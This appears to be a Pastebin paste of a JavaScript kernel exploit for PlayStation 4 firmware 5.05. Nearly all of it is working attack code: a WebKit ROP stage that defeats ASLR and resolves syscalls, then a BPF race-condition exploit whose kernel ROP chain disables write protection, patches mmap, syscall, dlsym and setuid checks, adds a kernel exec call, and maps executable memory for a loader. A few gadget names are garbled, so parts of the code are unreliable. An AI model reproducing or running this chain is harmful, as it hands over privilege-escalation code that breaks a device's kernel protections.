Advertisement
Guest User

NEW KERNEL EXPLOIT PS4 5.05 2018

a guest
Mar 23rd, 2018
1,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.55 KB | None | 0 0
  1. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  2. // CODE EXECUTION (STILL USERLAND) ///////////////////////////////////////////////////////////////////////////////////
  3. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  4. var p;
  5.  
  6. var deref_stub_jmp = function(addr) {
  7. var z = p.read4(addr) & 0xFFFF;
  8. var y = p.read4(addr.add32(2));
  9.  
  10. if (z != 0x25FF) return 0;
  11.  
  12. return addr.add32(y + 6);
  13. }
  14.  
  15. var gadgets;
  16.  
  17. /*
  18. kchain.push(window.gadgets["pop rax"]);
  19. kchain.push(savectx.add32(0x30));
  20. kchain.push(window.gadgets["mov rax, [rax]"]);
  21. kchain.push(window.gadgets["pop rcx"]);
  22. kchain.push(kernel_slide);
  23. kchain.push(window.gadgets["add rax, rcx"]);
  24. kchain.push(window.gadgets["pop rdi"]);
  25. kchain.push(savectx.add32(0x50));
  26. kchain.push(window.gadgets["mov [rdi], rax"]);
  27. */
  28. gadgets = {
  29. "ret": 0x0000003C,
  30. "jmp rax": 0x00000082,
  31. "ep": 0x000000AD,
  32. "pop rbp": 0x000000B6,
  33. "mov [rdi], rax": 0x00003FBA,
  34. "pop r8": 0x0000CC42,
  35. "pop rax": 0x0000CC43,
  36. "mov rax, rdi": 0x0000E84E,
  37. "mov rax,5.05x]": 0x000130A3,
  38. "mov rdi, rax; jmp rcx": 0x0003457A,
  39. "pop rsi": 0x0007B1EE,
  40. "pop rdi": 0x0007B23D,
  41. "add rsi, rcx; jmp rsi": 0x001FA5D4,
  42. "pop rcx": 0x00271DE3,
  43. "pop rsp": 0x0027A450,
  44. "mov [rdi], rsi": 0x0039CF70,
  45. "mov [rax], rsi": 0x003D0877,
  46. "bdd rsi, rax; jmp rsi": 0x004E040C,
  47. "pop rdx": 0x00565838,
  48. "pop r9": 0x0078BA1F,
  49. "add rax, rcx": 0x0084D04D,
  50. "jop": 0x01277350,
  51. "infloop": 0x012C4009,
  52.  
  53. "stack_chk_fail": 0x000000C8,
  54. "memcpy": 0x000000F8,
  55. "setjmp": 0x00001468
  56. };
  57.  
  58. var reenter_help = { length:
  59. { valueOf: function(){
  60. return 0;
  61. }
  62. }};
  63.  
  64. var postexploit = function() {
  65. p=window.primitives;
  66.  
  67. p.leakfunc = function(func)
  68. {
  69. var fptr_store = p.leakval(func);
  70. return (p.read8(fptr_store.add32(0x18))).add32(0x40);
  71. }
  72.  
  73. try {
  74. // Leak address of parseFloat()
  75. var parseFloatStore = p.leakfunc(parseFloat);
  76. var parseFloatPtr = p.read8(parseFloatStore);
  77.  
  78. // Defeat ASLR
  79. // Get webkit module address
  80. var webKitBase = p.read8(parseFloatStore);
  81. webKitBase.low &= 0xffffc000;
  82. webKitBase.sub32inplace(0xe8c000);
  83.  
  84. window.moduleBaseWebKit = webKitBase;
  85.  
  86. var offsetToWebKit = function(off) {
  87. return window.moduleBaseWebKit.add32(off)
  88. }
  89.  
  90. // Set gadgets to proper addresses
  91. for(var gadget in gadgets) {
  92. gadgets[gadget] = offsetToWebKit(gadgets[gadget]);
  93. }
  94.  
  95. // Get libkernel module address
  96. var libKernelBase = p.read8(deref_stub_jmp(gadgets['stack_chk_fail']));
  97. libKernelBase.low &= 0xffffc000;
  98. libKernelBase.sub32inplace(0xc000);
  99.  
  100. window.moduleBaseLibKernel = libKernelBase;
  101.  
  102. var offsetToLibKernel = function(off) {
  103. return window.moduleBaseLibKernel.add32(off);
  104. }
  105.  
  106. // Get libc module address
  107. var libSceLibcBase = p.read8(deref_stub_jmp(offsetToWebKit(0x228)));
  108. libSceLibcBase.low &= 0xffffc000;
  109.  
  110. window.moduleBaseLibc = libSceLibcBase;
  111.  
  112. var offsetToLibc = function(off) {
  113. return window.moduleBaseLibc.add32(off);
  114. }
  115.  
  116. // Setup ROP launching
  117. var hold1;
  118. var hold2;
  119. var holdz;
  120. var holdz1;
  121.  
  122. while (1) {
  123. hold1 = {a:0, b:0, c:0, d:0};
  124. hold2 = {a:0, b:0, c:0, d:0};
  125. holdz1 = p.leakval(hold2);
  126. holdz = p.leakval(hold1);
  127. if (holdz.low - 0x30 == holdz1.low) break;
  128. }
  129.  
  130. var pushframe = [];
  131. pushframe.length = 0x80;
  132. var funcbuf;
  133.  
  134. var launch_chain = function(chain)
  135. {
  136. var stackPointer = 0;
  137. var stackCookie = 0;
  138. var orig_reenter_rip = 0;
  139.  
  140. var reenter_help = {length: {valueOf: function(){
  141. orig_reenter_rip = p.read8(stackPointer);
  142. stackCookie = p.read8(stackPointer.add32(8));
  143. var returnToFrame = stackPointer;
  144.  
  145. var ocnt = chain.count;
  146. chain.push_write8(stackPointer, orig_reenter_rip);
  147. chain.push_write8(stackPointer.add32(8), stackCookie);
  148.  
  149. if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
  150.  
  151. chain.push(gadgets["pop rsp"]); // pop rsp
  152. chain.push(returnToFrame); // -> back to the trap life
  153. chain.count = ocnt;
  154.  
  155. p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
  156. p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame
  157. }}};
  158.  
  159. var funcbuf32 = new Uint32Array(0x100);
  160. nogc.push(funcbuf32);
  161. funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
  162.  
  163. p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
  164. p.write8(funcbuf.add32(0x80), gadgets["jop"]);
  165. p.write8(funcbuf,funcbuf);
  166. p.write8(parseFloatStore, gadgets["jop"]);
  167. var orig_hold = p.read8(holdz1);
  168. var orig_hold48 = p.read8(holdz1.add32(0x48));
  169.  
  170. p.write8(holdz1, funcbuf.add32(0x50));
  171. p.write8(holdz1.add32(0x48), funcbuf);
  172. parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
  173. p.write8(holdz1, orig_hold);
  174. p.write8(holdz1.add32(0x48), orig_hold48);
  175.  
  176. stackPointer = p.read8(funcbuf.add32(0x10));
  177. stackCookie = p.read8(stackPointer.add32(8));
  178. rtv=Array.prototype.splice.apply(reenter_help);
  179. return p.leakval(rtv);
  180. }
  181.  
  182. p.loadchain = launch_chain;
  183.  
  184. // Dynamically resolve syscall wrappers from libkernel
  185. var kview = new Uint8Array(0x1000);
  186. var kstr = p.leakval(kview).add32(0x10);
  187. var orig_kview_buf = p.read8(kstr);
  188.  
  189. p.write8(kstr, window.moduleBaseLibKernel);
  190. p.write4(kstr.add32(8), 0x40000);
  191.  
  192. var countbytes;
  193. for (var i=0; i < 0x40000; i++)
  194. {
  195. if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
  196. {
  197. countbytes = i;
  198. break;
  199. }
  200. }
  201. p.write4(kstr.add32(8), countbytes + 32);
  202.  
  203. var dview32 = new Uint32Array(1);
  204. var dview8 = new Uint8Array(dview32.buffer);
  205. for (var i=0; i < countbytes; i++)
  206. {
  207. if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
  208. {
  209. dview8[0] = kview[i+3];
  210. dview8[1] = kview[i+4];
  211. dview8[2] = kview[i+5];
  212. dview8[3] = kview[i+6];
  213. var syscallno = dview32[0];
  214. window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i);
  215. }
  216. }
  217.  
  218. // Setup helpful primitives for calling and string operations
  219. var chain = new window.rop();
  220.  
  221. p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
  222. chain.clear();
  223.  
  224. chain.notimes = this.next_notime;
  225. this.next_notime = 1;
  226.  
  227. chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
  228.  
  229. chain.push(window.gadgets["pop rdi"]); // pop rdi
  230. chain.push(chain.stackBase.add32(0x3ff8)); // where
  231. chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
  232.  
  233. chain.push(window.gadgets["pop rax"]); // pop rax
  234. chain.push(p.leakval(0x41414242)); // where
  235.  
  236. if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
  237.  
  238. return p.read8(chain.stackBase.add32(0x3ff8));
  239. }
  240.  
  241. p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) {
  242. if (typeof sysc == "string") {
  243. sysc = window.syscallnames[sysc];
  244. }
  245.  
  246. if (typeof sysc != "number") {
  247. throw new Error("invalid syscall");
  248. }
  249.  
  250. var off = window.syscalls[sysc];
  251.  
  252. if (off == undefined) {
  253. throw new Error("invalid syscall");
  254. }
  255.  
  256. return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
  257. }
  258.  
  259. p.writeString = function (addr, str)
  260. {
  261. for (var i = 0; i < str.length; i++)
  262. {
  263. var byte = p.read4(addr.add32(i));
  264. byte &= 0xFFFF0000;
  265. byte |= str.charCodeAt(i);
  266. p.write4(addr.add32(i), byte);
  267. }
  268. }
  269.  
  270. p.readString = function(addr)
  271. {
  272. var byte = p.read4(addr);
  273. var str = "";
  274. while (byte & 0xFF)
  275. {
  276. str += String.fromCharCode(byte & 0xFF);
  277. addr.add32inplace(1);
  278. byte = p.read4(addr);
  279. }
  280. return str;
  281. }
  282.  
  283. var spawnthread = function (chain) {
  284. var longjmp = offsetToWebKit(0x1458);
  285. var createThread = offsetToWebKit(0x116ED40);
  286.  
  287. var contextp = mallocu32(0x2000);
  288. var contextz = contextp.backing;
  289. contextz[0] = 1337;
  290. p.syscall(324, 1);
  291.  
  292. var thread2 = new window.rop();
  293.  
  294. thread2.clear();
  295. thread2.push(window.gadgets["ret"]); // nop
  296. thread2.push(window.gadgets["ret"]); // nop
  297. thread2.push(window.gadgets["ret"]); // nop
  298.  
  299. thread2.push(window.gadgets["ret"]); // nop
  300. chain(thread2);
  301.  
  302. p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
  303. p.write8(contextp.add32(0x10), thread2.stackBase); // rsp
  304.  
  305. var test = p.fcall(createThread, longjmp, contextp, stringify("GottaGoFast"));
  306.  
  307. window.nogc.push(contextz);
  308. window.nogc.push(thread2);
  309.  
  310. return thread2;
  311. }
  312.  
  313. var run_count = 0;
  314.  
  315. function kernel_rop_run(fd, scratch) {
  316. // wait for it
  317. while (1) {
  318. var ret = p.syscall("sys_write", fd, scratch, 0x200);
  319. run_count++;
  320. if (ret.low == 0x200) {
  321. return ret;
  322. }
  323. }
  324. }
  325.  
  326. // Clear errno
  327. p.write8(offsetToLibKernel(0x7CCF0), 0);
  328.  
  329. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  330. // KERNEL EXPLOIT BEGINS /////////////////////////////////////////////////////////////////////////////////////////////
  331. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  332.  
  333. //alert("OHHH WE'RE HALFWAY THERE WOOOOOOAHHH LIVIN ON A PRAYER")
  334.  
  335. var test = p.syscall("sys_setuid", 0);
  336.  
  337. // Check if homebrew has already been enabled, if not, run kernel exploit :D
  338. if(test != '0') {
  339. /////////////////// STAGE 1: Setting Up Programs ///////////////////
  340.  
  341. var spadp = mallocu32(0x2000);
  342.  
  343. // Open first device and bind
  344. var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
  345.  
  346. if(fd1 < 0) {
  347. throw "Failed to open first /dev/bpf device!";
  348. }
  349.  
  350. p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
  351.  
  352. if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
  353. p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
  354.  
  355. if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
  356. throw "Failed to bind to first /dev/bpf device!";
  357. }
  358. }
  359.  
  360. // Open second device and bind
  361. var fd2 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
  362.  
  363. if(fd2 < 0) {
  364. throw "Failed to open second /dev/bpf device!";
  365. }
  366.  
  367. p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
  368.  
  369. if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) {
  370. p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("wlan0"));
  371.  
  372. if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) {
  373. throw "Failed to bind to second /dev/bpf device!";
  374. }
  375. }
  376.  
  377. // Setup kchain stack for kernel ROP chain
  378. var kchainstack = malloc(0x2000);
  379.  
  380. /////////////////// STAGE 2: Building Kernel ROP Chain ///////////////////
  381. var kchain = new krop(p, kchainstack);
  382. var savectx = malloc(0x200);
  383.  
  384. // NOP Sled
  385. kchain.push(window.gadgets["ret"]);
  386. kchain.push(window.gadgets["ret"]);
  387. kchain.push(window.gadgets["ret"]);
  388. kchain.push(window.gadgets["ret"]);
  389. kchain.push(window.gadgets["ret"]);
  390. kchain.push(window.gadgets["ret"]);
  391. kchain.push(window.gadgets["ret"]);
  392. kchain.push(window.gadgets["ret"]);
  393.  
  394. // Save context to exit back to userland when finished
  395. kchain.push(window.gadgets["pop rdi"]);
  396. kchain.push(savectx);
  397. kchain.push(offsetToLibc(0x1D3C));
  398.  
  399. // Defeat kASLR (resolve kernel .text base)
  400. var kernel_slide = new int64(-0x2610AD0, -1);
  401. kchain.push(window.gadgets["pop rax"]);
  402. kchain.push(savectx.add32(0x30));
  403. kchain.push(window.gadgets["mov rax, [rax]"]);
  404. kchain.push(window.gadgets["pop rcx"]);
  405. kchain.push(kernel_slide);
  406. kchain.push(window.gadgets["add rax, rcx"]);
  407. kchain.push(window.gadgets["pop rdi"]);
  408. kchain.push(savectx.add32(0x50));
  409. kchain.push(window.gadgets["mov [rdi], rax"]);
  410.  
  411. // Disable kernel write protection
  412. kchain.push(window.gadgets["pop rax"])
  413. kchain.push(savectx.add32(0x50));
  414. kchain.push(window.gadgets["mov rax, [rax]"]);
  415. kchain.push(window.gadgets["pop rcx"]);
  416. kchain.push(0x280f79);
  417. kchain.push(window.gadgets["add rax, rcx"]);
  418. kchain.push(offsetToWebKit(0x12a16)); // mov rdx, rax
  419. kchain.push(window.gadgets["pop rax"]);
  420. kchain.push(0x80040033);
  421. kchain.push(offsetToWebKit(0x1517c7)); // jmp rdx
  422.  
  423. // Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation)
  424. // E8 C8 37 13 00 41 89 C6 -> B8 00 00 00 00 41 89 C6
  425. var kexploit_check_patch = new int64(0x000000B8, 0xC6894100);
  426. kchain.push(window.gadgets["pop rax"])
  427. kchain.push(savectx.add32(0x50));
  428. kchain.push(window.gadgets["mov rax, [rax]"]);
  429. kchain.push(window.gadgets["pop rcx"]);
  430. kchain.push(0x1144E3);
  431. kchain.push(window.gadgets["add rax, rcx"]);
  432. kchain.push(window.gadgets["pop rsi"]);
  433. kchain.push(kexploit_check_patch);
  434. kchain.push(window.gadgets["mov [rax], rsi"]);
  435.  
  436. // Patch sys_mmap: Allow RWX (read-write-execute) mapping
  437. var kernel_mmap_patch = new int64(0x37b64137, 0x3145c031);
  438. kchain.push(window.gadgets["pop rax"])
  439. kchain.push(savectx.add32(0x50));
  440. kchain.push(window.gadgets["mov rax, [rax]"]);
  441. kchain.push(window.gadgets["pop rcx"]);
  442. kchain.push(0x141D14);
  443. kchain.push(window.gadgets["add rax, rcx"]);
  444. kchain.push(window.gadgets["pop rsi"]);
  445. kchain.push(kernel_mmap_patch);
  446. kchain.push(window.gadgets["mov [rax], rsi"]);
  447.  
  448. // Patch syscall: syscall instruction allowed anywhere
  449. var kernel_syscall_patch1 = new int64(0x00000000, 0x40878b49);
  450. var kernel_syscall_patch2 = new int64(0x909079eb, 0x72909090);
  451. kchain.push(window.gadgets["pop rax"])
  452. kchain.push(savectx.add32(0x50));
  453. kchain.push(window.gadgets["mov rax, [rax]"]);
  454. kchain.push(window.gadgets["pop rcx"]);
  455. kchain.push(0x3DC603);
  456. kchain.push(window.gadgets["add rax, rcx"]);
  457. kchain.push(window.gadgets["pop rsi"]);
  458. kchain.push(kernel_syscall_patch1);
  459. kchain.push(window.gadgets["mov [rax], rsi"]);
  460. kchain.push(window.gadgets["pop rax"])
  461. kchain.push(savectx.add32(0x50));
  462. kchain.push(window.gadgets["mov rax, [rax]"]);
  463. kchain.push(window.gadgets["pop rcx"]);
  464. kchain.push(0x3DC621);
  465. kchain.push(window.gadgets["add rax, rcx"]);
  466. kchain.push(window.gadgets["pop rsi"]);
  467. kchain.push(kernel_syscall_patch2);
  468. kchain.push(window.gadgets["mov [rax], rsi"]);
  469.  
  470. // Patch sys_dynlib_dlsym: Allow from anywhere
  471. var kernel_dlsym_patch1 = new int64(0x000352E9, 0x8B489000);
  472. var kernel_dlsym_patch2 = new int64(0x90C3C031, 0x90909090);
  473. kchain.push(window.gadgets["pop rax"])
  474. kchain.push(savectx.add32(0x50));
  475. kchain.push(window.gadgets["mov rax, [rax]"]);
  476. kchain.push(window.gadgets["pop rcx"]);
  477. kchain.push(0x3CF6FE);
  478. kchain.push(window.gadgets["add rax, rcx"]);
  479. kchain.push(window.gadgets["pop rsi"]);
  480. kchain.push(kernel_dlsym_patch1);
  481. kchain.push(window.gadgets["mov [rax], rsi"]);
  482. kchain.push(window.gadgets["pop rax"])
  483. kchain.push(savectx.add32(0x50));
  484. kchain.push(window.gadgets["mov rax, [rax]"]);
  485. kchain.push(window.gadgets["pop rcx"]);
  486. kchain.push(0x690C0);
  487. kchain.push(window.gadgets["add rax, rcx"]);
  488. kchain.push(window.gadgets["pop rsi"]);
  489. kchain.push(kernel_dlsym_patch2);
  490. kchain.push(window.gadgets["mov [rax], rsi"]);
  491.  
  492. // Add custom sys_exec() call to execute arbitrary code as kernel
  493. var kernel_exec_param = new int64(0, 1);
  494. kchain.push(window.gadgets["pop rax"])
  495. kchain.push(savectx.add32(0x50));
  496. kchain.push(window.gadgets["mov rax, [rax]"]);
  497. kchain.push(window.gadgets["pop rcx"]);
  498. kchain.push(0x102b8a0);
  499. kchain.push(window.gadgets["add rax, rcx"]);
  500. kchain.push(window.gadgets["pop rsi"]);
  501. kchain.push(0x02);
  502. kchain.push(window.gadgets["mov [rax], rsi"]);
  503. kchain.push(window.gadgets["pop rsi"])
  504. kchain.push(0x13a39f); // jmp qword ptr [rsi]
  505. kchain.push(window.gadgets["pop rdi"])
  506. kchain.push(savectx.add32(0x50));
  507. kchain.push(offsetToWebKit(0x119d1f0)); //add rsi, [rdi]; mov rax, rsi
  508. kchain.push(window.gadgets["pop rax"])
  509. kchain.push(savectx.add32(0x50));
  510. kchain.push(window.gadgets["mov rax, [rax]"]);
  511. kchain.push(window.gadgets["pop rcx"]);
  512. kchain.push(0x102b8a8);
  513. kchain.push(window.gadgets["add rax, rcx"]);
  514. kchain.push(window.gadgets["mov [rax], rsi"]);
  515. kchain.push(window.gadgets["pop rax"])
  516. kchain.push(savectx.add32(0x50));
  517. kchain.push(window.gadgets["mov rax, [rax]"]);
  518. kchain.push(window.gadgets["pop rcx"]);
  519. kchain.push(0x102b8c8);
  520. kchain.push(window.gadgets["add rax, rcx"]);
  521. kchain.push(window.gadgets["pop rsi"]);
  522. kchain.push(kernel_exec_param);
  523. kchain.push(window.gadgets["mov [rax], rsi"]);
  524.  
  525. // Enable kernel write protection
  526. kchain.push(window.gadgets["pop rax"])
  527. kchain.push(savectx.add32(0x50));
  528. kchain.push(window.gadgets["mov rax, [rax]"]);
  529. kchain.push(window.gadgets["pop rcx"]);
  530. kchain.push(0x280f70);
  531. kchain.push(window.gadgets["add rax, rcx"]);
  532. kchain.push(window.gadgets["jmp rax"])
  533.  
  534. // To userland!
  535. kchain.push(window.gadgets["pop rax"]);
  536. kchain.push(0);
  537. kchain.push(window.gadgets["ret"]);
  538. kchain.push(offsetToWebKit(0x3EBD0));
  539.  
  540. // Setup valid program
  541. var bpf_valid_prog = malloc(0x10);
  542. var bpf_valid_instructions = malloc(0x80);
  543.  
  544. p.write8(bpf_valid_instructions.add32(0x00), 0x00000000);
  545. p.write8(bpf_valid_instructions.add32(0x08), 0x00000000);
  546. p.write8(bpf_valid_instructions.add32(0x10), 0x00000000);
  547. p.write8(bpf_valid_instructions.add32(0x18), 0x00000000);
  548. p.write8(bpf_valid_instructions.add32(0x20), 0x00000000);
  549. p.write8(bpf_valid_instructions.add32(0x28), 0x00000000);
  550. p.write8(bpf_valid_instructions.add32(0x30), 0x00000000);
  551. p.write8(bpf_valid_instructions.add32(0x38), 0x00000000);
  552. p.write4(bpf_valid_instructions.add32(0x40), 0x00000006);
  553. p.write4(bpf_valid_instructions.add32(0x44), 0x00000000);
  554.  
  555. p.write8(bpf_valid_prog.add32(0x00), 0x00000009);
  556. p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions);
  557.  
  558. // Setup invalid program
  559. var entry = window.gadgets["pop rsp"];
  560. var bpf_invalid_prog = malloc(0x10);
  561. var bpf_invalid_instructions = malloc(0x80);
  562.  
  563. p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001);
  564. p.write4(bpf_invalid_instructions.add32(0x04), entry.low);
  565. p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003);
  566. p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E);
  567. p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001);
  568. p.write4(bpf_invalid_instructions.add32(0x14), entry.hi);
  569. p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003);
  570. p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F);
  571. p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001);
  572. p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low);
  573. p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003);
  574. p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020);
  575. p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001);
  576. p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi);
  577. p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003);
  578. p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021);
  579. p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006);
  580. p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001);
  581.  
  582. p.write8(bpf_invalid_prog.add32(0x00), 0x00000009);
  583. p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions);
  584.  
  585. /////////////////// STAGE 3: Racing Filters ///////////////////
  586.  
  587. // ioctl() with valid BPF program will trigger free() of old program and reallocate memory for the new one
  588. spawnthread(function (thread2) {
  589. interrupt1 = thread2.stackBase;
  590. thread2.push(window.gadgets["ret"]);
  591. thread2.push(window.gadgets["ret"]);
  592. thread2.push(window.gadgets["ret"]);
  593. thread2.push(window.gadgets["pop rdi"]); // pop rdi
  594. thread2.push(fd1); // what
  595. thread2.push(window.gadgets["pop rsi"]); // pop rsi
  596. thread2.push(0x8010427B); // what
  597. thread2.push(window.gadgets["pop rdx"]); // pop rdx
  598. thread2.push(bpf_valid_prog); // what
  599. thread2.push(window.gadgets["pop rsp"]); // pop rsp
  600. thread2.push(thread2.stackBase.add32(0x800)); // what
  601. thread2.count = 0x100;
  602. var cntr = thread2.count;
  603. thread2.push(window.syscalls[54]); // ioctl
  604. thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl
  605. thread2.push(window.gadgets["pop rsp"]); // pop rdx
  606. thread2.push(thread2.stackBase); // what
  607. });
  608.  
  609. // ioctl() with invalid BPF program will be sprayed and eventually get used by the thread where the program has already been validated
  610. spawnthread(function (thread2) {
  611. interrupt2 = thread2.stackBase;
  612. thread2.push(window.gadgets["ret"]);
  613. thread2.push(window.gadgets["ret"]);
  614. thread2.push(window.gadgets["ret"]);
  615. thread2.push(window.gadgets["pop rdi"]); // pop rdi
  616. thread2.push(fd2); // what
  617. thread2.push(window.gadgets["pop rsi"]); // pop rsi
  618. thread2.push(0x8010427B); // what
  619. thread2.push(window.gadgets["pop rdx"]); // pop rdx
  620. thread2.push(bpf_invalid_prog); // what
  621. thread2.push(window.gadgets["pop rsp"]); // pop rsp
  622. thread2.push(thread2.stackBase.add32(0x800)); // what
  623. thread2.count = 0x100;
  624. var cntr = thread2.count;
  625. thread2.push(window.syscalls[54]); // ioctl
  626. thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl
  627. thread2.push(window.gadgets["pop rsp"]); // pop rdx
  628. thread2.push(thread2.stackBase); // what
  629. });
  630.  
  631. /////////////////// STAGE 3: Trigger ///////////////////
  632. var scratch = malloc(0x200);
  633. var test = kernel_rop_run(fd1, scratch);
  634.  
  635. if(p.syscall("sys_setuid", 0) == 0) {
  636. allset();
  637. } else {
  638. throw "Kernel exploit failed!";
  639. }
  640. } else {
  641. // Everything done already :D
  642. allset();
  643. }
  644.  
  645. // create loader memory
  646. var code_addr = new int64(0x26100000, 0x00000009);
  647. var buffer = p.syscall("sys_mmap", code_addr, 0x300000, 7, 0x41000, -1, 0);
  648.  
  649. // verify loaded
  650. if (buffer == '926100000') {
  651. // setup the stuff
  652. var scePthreadCreate = offsetToLibKernel(0x115c0);
  653. var thread = malloc(0x08);
  654. var thr_name = malloc(0x10);
  655. p.writeString(thr_name, "loader");
  656.  
  657. // write loader
  658. writeLoader(p, code_addr);
  659.  
  660. var createRet = p.fcall(scePthreadCreate, thread, 0, code_addr, 0, thr_name);
  661. }
  662. } catch(e) {
  663. fail("Post Exception: " + e)
  664. }
  665. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement